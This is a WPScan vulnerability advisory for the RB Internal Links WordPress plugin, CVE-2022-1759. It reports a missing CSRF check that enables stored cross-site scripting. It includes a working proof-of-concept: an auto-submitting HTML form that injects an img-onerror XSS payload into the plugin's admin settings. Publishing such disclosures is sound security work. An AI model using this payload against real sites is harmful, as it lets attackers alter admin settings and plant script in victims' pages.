WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

RB Internal Links <= 2.0.16 - Stored Cross-Site Scripting via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack, as well as perform Stored Cross-Site Scripting attacks due to the lack of sanitisation and escaping

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=rb-internal-links" method="POST">
    <input type="text" name="rbinternal_submit" value="1">
    <input type="text" name="tinymce" value="0">
    <input type="text" name="tinymce" value="1">
    <input type="text" name="return_param" value="id">
    <input type="text" name="default_text" value="url">
    <input type="text" name="code_prefix" value='"><img src=x onerror=alert(/XSS/)>'>
    <input type="text" name="code_suffix" value="bbb">
    <input type="text" name="page_order" value="post_title">
    <input type="text" name="Submit" value="Änderungen speichern">
</form>
<script>
    document.getElementById("test").submit();
</script> 

Affects Plugins

rb-internal-links
No known fix - plugin closed

References

CVE
CVE-2022-1759

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
d8e63f78-f38a-4f68-96ba-8059d175cea8

Timeline

Publicly Published

2022-05-23 (about 1 months ago)

Added

2022-05-23 (about 1 months ago)

Last Updated

2022-05-23 (about 1 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us